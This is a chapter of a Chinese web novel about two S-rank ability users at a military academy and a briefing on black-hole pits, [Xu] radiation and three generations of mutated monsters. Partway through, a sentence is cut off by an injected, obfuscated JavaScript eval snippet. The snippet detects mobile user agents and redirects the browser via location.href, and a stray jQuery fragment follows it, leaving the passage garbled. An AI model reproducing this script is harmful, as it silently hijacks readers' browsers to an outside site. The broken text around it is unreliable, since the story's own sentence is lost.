江烛叫易康年和他一起去商场逛谷子店，饰品店挑礼物，祝贺穆之桃考上美院。


    易康年交叉手臂拒绝：“烛子，你懂不懂？两个人的游戏不该要求第三个人去参与。兄弟我啊真不是你们play中的一环。”


    江烛捏了下眉心：“最近心情很不好。”


    易康年立马变脸，哈哈大笑：“其实我这人特重视友情，为兄弟两肋插刀不在话下。”


    二人走出格斗训练场，就被堵在门口等他俩出来的特勤队队长逮住。


    特勤队队长是高年级校友，大他们将近十岁，是某个科技巨头的长女，28岁之前是A级异能者，在维和队工作。基因变异为S级后，才重新收编进军校训练，鉴于她的领导能力，破格提拔为特勤队队长。


    一见江烛，队长只敢去捉易康年的手臂：“找你们老半天，有急事，先别问，去了办公厅再谈。”


    “没空。”江烛甩开队长的手臂。


    队长瞪直眼：“你们今天没课，没任务，食堂还没开饭。你们没什么空？”队长压低声音解释：“别犟，小江。市长和维和部那几个老头都在等我们。”


    易康年瞅瞅队长，再瞅瞅江烛，夹在两人中间像狐狸似的笑眯了眼，也不多说一句，就纯看戏。


    江烛看了眼手表，还有一个小时四十五分钟，选礼物和挑花的时间都不够。


    “他们喜欢等，我就要伺候。”江烛抬腿就走，还拎上了易康年。


    队长气笑了，得嘞，拽哥。真是不惯着，没有提前通知的会议，人家就是不参与。可市长说必须把江烛和易康年带到才开始会议。


    “二十五分钟。烛子，姐真的求你，给姐一个面子，二十五分钟一到你走人就行。要……谈一点归墟基地的事。”


    最后几个字，队长用了近距离的意念音，谨防有五感灵敏的异能者偷听。


    -


    大概是上个世纪四十年代，也就是一百多年以前，发生过一次天际星体撞击小行星事件。释放的尘埃和碎片形成了一场陨石雨，落在白银共和国西岸的大戈壁，不少人将那场璀璨夜空的陨石雨拍摄下来并许愿。


    天文台的科研人员赶到现场时，陨石已被空气灼伤殆尽，只留下了一些烟尘气体。他们收集了一些表层土壤，几颗残留的坠地陨石，就折返回研究所忙碌，认为这是场平平无奇的陨石雨。


    二十年后，一个屡次试图穿越大戈壁的登山运动员发布了一个诡异的平面视频。


    视频内有一个坑洞，成人展臂的长度，洞口在烈日照耀下，黑到光线没有办法穿透。运动员丢入燃烧棒，强光手电筒进洞口，也没有光线溢出，照亮洞口。


    很奇怪的一个无底洞。


    物品丢入洞中就像被吸入另一个空间内，无声无息地消失，洞口也在以肉眼可见的速度吞噬泥土。


    24小时不到，视频下架，消息封锁。


    白银共和国官方机构找到了那处黑洞，命名为黑域。


    一年后的日蚀共和国北部。


    一位在雪峰脚下土生土长的高山族人上山寻找驯养的雌鹰，在冰蚀湖旁发现了一个黢黑的无底洞，他上报给了当地城市的旅游开发部，然后雪山一带开始驻军，禁止所有牧民通过雪峰。


    十年转瞬即逝，全球将近三十多个黑域被陆续发现，各国科学家集结起来公布对黑域的研究成果。


    最大的，最早发现的，白银一号坑黑域已经扩张到直径十公里的范围。


    为了避免民众恐慌，白银共和国在戈壁建立了最大的一所军事基地，回传的卫星图像也做了视觉屏蔽。


    诸国在会议上公布了[墟]物质的存在。


    至少在十一年前，黑域已经向它周围的边界地带释放某种放射性物质，该放射性物质以空气为传播动力，对人类产生一定的粒子辐射作用，导致人类中诞生有超自然能力的存在，研究员将这类人统称为异能者。


    异能者是进化，也是变异。


    因为使用异能的人在逐步增多，社交媒体上层出不穷的网络明星分享自己某天突然拥有特殊能力的生活。


    比如无人看管的幼童从二十八层楼高意外坠落，但全身完好无损；有人发现自己的癌症奇迹自愈了，肌肉萎缩的双腿能站起来了；有人发现自己可以隔空取物，意念移物；还有人发现她能听懂自家猫的叫声，某天可以无障碍和麻雀乌鸦交流。


    各国举行了一次不公开行程的发展会议，几个国家的领袖代表自己身后的政治集团去博弈，但最终商榷结果是由两块领域最大的霸主国白银和日蚀确定，白银和日蚀官方都同意向民众公开异能，以便于研究异能的使用。


    但不论如何得掩盖了黑域和[墟]物质的存在。


    异能被承认，引起了轩然大波，人们更多是兴奋。每个人都可以去人类发展研究中心免费做基因评级测验，评出F-S的基因等级。


    F等级为最弱势的基因评级，这类人通常注定是普通人，体内无法存储[墟]物质，受辐射影响也小，也就无法变异。


    B级是划分基因优劣的分水岭，B级以上的人类，本身基因就好，会随着[墟]物质辐射，将基因快速调整到优化方向，他们生出的孩子也会继承优良基因，长相越来越优越。B级以上的基因评级会被称为高评级人群，至少能够催生出一种异能。


    B级以下的C级就没那么好运，激发特殊能力存在不确定，可能终生没有，也可能成年之前能获得异能。


    S级是最强悍的异能者，很少有人一出生就是S级异能者。


    S级的评判基因标准很苛刻保密，由军校代替军方鉴定。通常是在成长中，B或A基因者可通过基因增强或变异跨域到S级。


    只要是S级异能者，在日蚀帝国就不得不去维和队登记，接受稳定情绪的上环处理，之后可进入军校，可加入人才库，也可以做无业游民，但官方派发任务时，必须服从命令。


    ——规矩真多。


    江烛和易康年从教学楼路过，听见导员正在给新转来芝诺军校的B级异能者科普，虽然都是老生常谈的事，但还是要例行公事给新人科普一遍。身为异能者，除了不知道黑域和[墟]物质那点破事，其他都是知道的。


    队长开了她的小摩托，跑在他们前面。


    江烛和易康年到了办公厅，一看厅内全坐着一群严肃脸的老古董，像他们一样的S级异能没几个，研究员还站在台上等他俩开场放裸眼3D。


    易康年替人尴尬的毛病犯了，脚趾抓地，拉了拉想大摇大摆插兜从前门进入的江烛。


    他朝小伙伴比了个嘘的手势，匍匐着背，恨不得在地面扭成一条蛆，阴暗爬行到最后一排位置。


    江烛白了一眼易康年。


    二人坐下后，研究员讲解最近芝诺市的情况和涉及的5A级保密任务。


    供职于保密部门的异能者捕捉到了一批“怪物”，尸体解剖没有发现病毒，辐射残留接近无，编码核心细胞功能蛋白的基因序列已大变，异变原因不知。


    但无疑都是F级基因的普通人变异而来，结合全日蚀捕获数量近一百只，和道路监察系统纵目AI捕捉到的影像，可将怪物分类三类等级，一代，二代，三代。


    一代怪物为兽态，虫化，能观察具体形态的怪物。


    研究员在大厅投影出半面墙大的老鼠3D影像，它袭击了一群直播夜访茱萸一中的初中部学生。


    基因提取对比表明是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959091|193277||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    茱萸一中教高中物理的男老师。


    又有一个三米的粉红怪物全息投影出来，类似桃花螳螂的虫化，但具体又不像，基因对比后是雾港司机。


    一代怪物几乎没有理智，只有捕食冲动。


    研究员切换影像时，郑重地向排排坐的S级异能者们解释：“目前发现的所有变异体，也就是怪物，会专门捕食异能者食用，尤其是面对S级，流涎反应最强烈。当然也有抓不到异能者时，饿极了，出现捕食低评级和同类自噬现象。”


    二代怪物是一代怪物食用异能者到一定等级出现的进化体。


    幸好日蚀有全方位拍摄的道路监控系统，纵目。纵目监控到了几只一代怪物进化为二代的过程。


    相当于一代，二代脱离有机生命认知的形状，没有毛皮，鞘翅，而是表皮退化，器官移位，拼接为一种生物与机械的合体。


    研究员直接向满脸懵逼的异能者展示了3D影像，一个躯干列成两半，手臂以拉长的弧形扭曲插在双腿，类似剪刀骨刃的怪物出现了，它甩动着剪刀头，在攻击围堵他的异能者。


    另一个是伞头人，保留着头部以下的躯干，脑袋变成了一把肉伞，伞面旋转帮助它双腿漂浮在地面，行动迅速，伞骨处射出类似金属的毒液，攻击异能者。


    研究员说伞头人的毒，效用很快，毫克致死。


    还有一些其他奇形怪状的怪物，比如说四四方方的白皮箱子，眼睛退化不见了，嘴巴变成音箱上的两个喇叭孔，不怎么移动，只释放低波，研究员不穿防护服靠近，内脏会被它调频共振，吐血而亡。


    江烛看了眼表，很不耐烦。


    易康年倒是感觉很有意思，听得津津有味，他以为他和江烛才是怪物，没想到世界上还有比他们更怪物的存在。


    果然呐，抽象一种天赋。


    三代就更抽象了，直接什么形状都没有，退化到像血糊糊的涡虫。


    不可名状，靠肉芽纤毛蠕动，有缝隙就能渗入，攻击人的方式就是像饺子皮一样包裹住人进行食用。最恐怖的是它的血糊可被它控制分离体外，只要和人类接触，就能感染其他人类成一代或二代怪物，不再分基因评级。


    这种行为研究员命名为：


    [血染]


    虽然没有观察到社会化的行为连接，但拿怪物做实验的一群研究员声称一二代有一定的欲望和情绪，类动物，三代则更高级具备一定的理智和学习能力，且它似乎想通过[血染]制造更多的怪物，如果这样发展下去……


    研究员多看了眼芝诺市市长，正是因为这一点，市长决定会向军校里的S级异能者公布。现在人手紧缺，随时需要人才征用。


    维和部的人站起来要讲成立临时清理怪物小队的事，江烛在这时站起身要走，吸引了所有人的目光。


    市长看向维和部部长，维和部看向校长，校长看向特勤队队长，队长仰头当自己是个傻子……


    他们还没制止，江烛长腿一迈，出了门。


    二十五分钟的时间到了。


    易康年没走，他抱住头，把脸遮住，他在桌下摆手，表示让江烛快走，别说和他认识。


    江烛骑走队长停在楼下的小摩托，队长每次停车都不取下钥匙，他去了最近的商场给穆之桃挑花和礼物。


    晴空万里，天幕蓝的像海。


    这一日，天气会从未有过的好。江烛是这样认为的，但心底隐隐地沾染上了阴霾。


    不过，那又怎样。


    山川会改变，人总会死，恒星也会死亡，所有事物都要走向毁灭。


    可有什么事情，有再大的事，等他和穆之桃吃了午饭，再去面对就好了。


    或许他们可以一起面对。